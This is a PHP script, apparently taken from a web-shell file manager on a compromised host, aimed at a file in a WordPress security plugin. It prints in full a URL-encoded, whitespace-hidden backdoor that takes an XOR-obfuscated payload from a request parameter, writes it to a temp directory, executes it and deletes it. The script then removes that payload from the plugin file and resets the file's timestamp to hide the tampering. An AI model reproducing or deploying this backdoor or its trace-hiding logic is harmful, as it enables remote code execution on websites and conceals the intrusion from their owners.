/
usr
/
tmp
/
Upload File
HOME
<?php $path = '/home2/joyhucol/public_html/themillennialshandbook/wp-content/plugins/really-simple-ssl/settings/config/fields/hardening-file-change-detection.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28array_key_exists%28%22dat%5Cx61%22%2C%20%24_REQUEST%29%29%7B%20%24item%20%3D%20hex2bin%28%24_REQUEST%5B%22dat%5Cx61%22%5D%29%3B%20%24rec%20%3D%20%27%27%20%3B%20%24v%20%3D%200%3B%20while%28%24v%20%3C%20strlen%28%24item%29%29%7B%24rec%20.%3D%20chr%28ord%28%24item%5B%24v%5D%29%20%5E%2062%29%3B%24v%2B%2B%3B%7D%20%24flag%20%3D%20array_filter%28%5Bgetenv%28%22TMP%22%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20sys_get_temp_dir%28%29%2C%20%22/tmp%22%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20getenv%28%22TEMP%22%29%2C%20ini_get%28%22upload_tmp_dir%22%29%5D%29%3B%20while%20%28%24element%20%3D%20array_shift%28%24flag%29%29%20%7B%20if%20%28%28bool%29is_dir%28%24element%29%20%26%26%20%28bool%29is_writable%28%24element%29%29%20%7B%20%24dat%20%3D%20%22%24element%22%20.%20%22/.record%22%3B%20if%20%28file_put_contents%28%24dat%2C%20%24rec%29%29%20%7B%20include%20%24dat%3B%20%40unlink%28%24dat%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = (string) @file_get_contents($path); if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) { $candidate = str_replace($new_content, '', $content); $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE); if ($safe) { $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); } elseif ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } } } die('!success!');